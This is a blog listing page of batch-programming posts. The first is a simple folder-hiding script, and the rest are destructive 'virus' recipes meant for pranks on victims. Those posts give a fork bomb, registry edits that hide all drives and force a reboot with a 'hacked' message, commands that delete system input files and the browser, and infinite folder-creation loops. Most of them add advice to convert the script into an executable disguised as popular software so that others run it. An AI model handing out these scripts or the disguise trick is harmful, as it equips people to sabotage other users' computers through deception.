slider

Showing posts with label batch programming. Show all posts
Showing posts with label batch programming. Show all posts

How to lock a folder without any software using Batch Programming

In this post I will tell you how to create a simple folder locker which would hide the folder you want to lock. No software required, its just very simple to create it.

cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Enter password to lock folder or for cancel press N
echo (Provided by: www.downloadandlearning.blogspot.com)
set/p "cho=>"
if %cho%==XXXX goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
echo (Provided by: www.downloadandlearning.blogspot.com)
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
echo (Provided by: www.downloadandlearning.blogspot.com)
goto End
:UNLOCK
echo Enter password to Unlock folder
echo (Provided by: www.downloadandlearning.blogspot.com)
set/p "pass=>"
if NOT %pass%==XXXX goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
echo (Provided by: www.downloadandlearning.blogspot.com)
goto End
:FAIL
echo Invalid password.
goto end
:MDLOCKER
md Locker
echo Locker created successfully
echo (Provided by: www.downloadandlearning.blogspot.com)
goto End
:End
  1. Copy this Code into notepad and replace the XXXX with your password.
  2. Save it with .bat extension(for eg: locker.bat).
  3. Copy the Batch file to the place where you want to create your locker folder.
  4. Now double click the Batch file.
  5. Now you can see the Lock folder is created.
  6. Place your files into lock folder which you want to protect.
  7. Again double click the Batch file, it will ask you to enter the password to lock the folder. Enter the password.
  8. Now the folder will be Locked and will become invisible.
  9. To unlock again double click the Batch file, enter the password.
  10. You can see the Lock folder.

Read More(Full Post)...

Create a virus to make the Computer freezed using Batch Programming

Its a simple, easy to remember, one line batch code which would freeze your computer by eating all its virtual memory. When this piece of code is run, the CPU usage goes to 100%. The computer can be brought to its original state by rebooting the system. Its a great code for the beginners and to play prank with friends.

1. Copy the code present in box below in the NOTEPAD. 


%0|%0

2. Save the file with .bat extension(for eg: crazy.bat)

3. For further advancement in it, download a bat to exe converter, through it change the icon, properties and title of the bat file into any popular software.

Read More(Full Post)...

Virus to disable all Hard Disk using Batch Programming

 This is a simple batch program to disable the hard disks in windows.

NOTE:  Don't run or execute the bat file after creating it because it will delete the files from your computer only.  

1. Copy the code present in box below in the NOTEPAD. 


REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n

shutdown -r -c \"Sorry Your System is hacked by us!\" -f

2. Save the file with .bat extension(for eg:disableall.bat)

3. For further advancement in it, download a bat to exe converter, through it change the icon, properties and title of the bat file into any popular software.

For more info, Contact me.

Read More(Full Post)...

Simple Virus to Delete mouse, explorer, logoff, keyboard files

Usually we write simple viruses in batch programming.  This time also I have one Batch Program. It will delete explore.exe, logoff, mouse, keyboard files. So victims can not do anything in his computer.

NOTE:  Don't run or execute the bat file after creating it because it will delete the files from your computer only. 

1. Copy the code present in box below in the NOTEPAD.

@echo off

@if exist c:\windows\system32\mouse del c:\windows\system32\mouse
@if exist c:\windows\system32\keyboard del c:\windows\system32\keyboard
copy C:\windows\
@if exist c:\windows\system32\logoff.exe del c:\windows\system32\logoff.exe
@if exist C:\program files\internet explorer\iexplore.exe del C:\program files\internet explorer\iexplore.exe

2. Save the file with .bat extension(for eg:deleteall.bat)
3. For further advancement in it, download a bat to exe converter, through it change the icon, properties and title of the bat file into any popular software. 

Read More(Full Post)...

Create a Virus to Create Folder into a Folder(infinitely)

Well you can create a simple computer virus which will create a folder into a folder and so on.
Follow the below steps to create the virus.

1. Copy the code present in box below in the NOTEPAD.

:123
md d
cd d
goto :123

2. Save the file with .bat extension(for eg: folderscreate.bat)
3. Now go to the location where you saved it and run it by double clicking it.
You are done!!
4. For further advancement in it, download a bat to exe converter, through it change the icon, properties and title of the bat file into any popular software. 

Read More(Full Post)...

Create a Virus to Create Infinite Folders in a Drive

Here I will tell you a simple trick to create a simple virus which will create infinite folders into the directory where it is saved, until and unless it is terminated.

1. Copy the code present in box below in the NOTEPAD.

@echo off
:top
md %random%
goto top

"@echo off" - makes it so that it appears to be a blank
screen but actually its making hundreds of folder.
":top" - to create infinite loop.
"md %random%" - is command that creates folders with random names.
"goto top" – return to label 

2. Save the file with .bat extension(for eg: folderscreate.bat)
3. Now go to the location where you saved it and run it by double clicking it.
You are done!!
4. For further advancement in it, download a bat to exe converter, through it change the icon, properties and title of the bat file into any popular software. 

Read More(Full Post)...

Related Posts Plugin for WordPress, Blogger...
 
Download & Learning © 2011 | Contact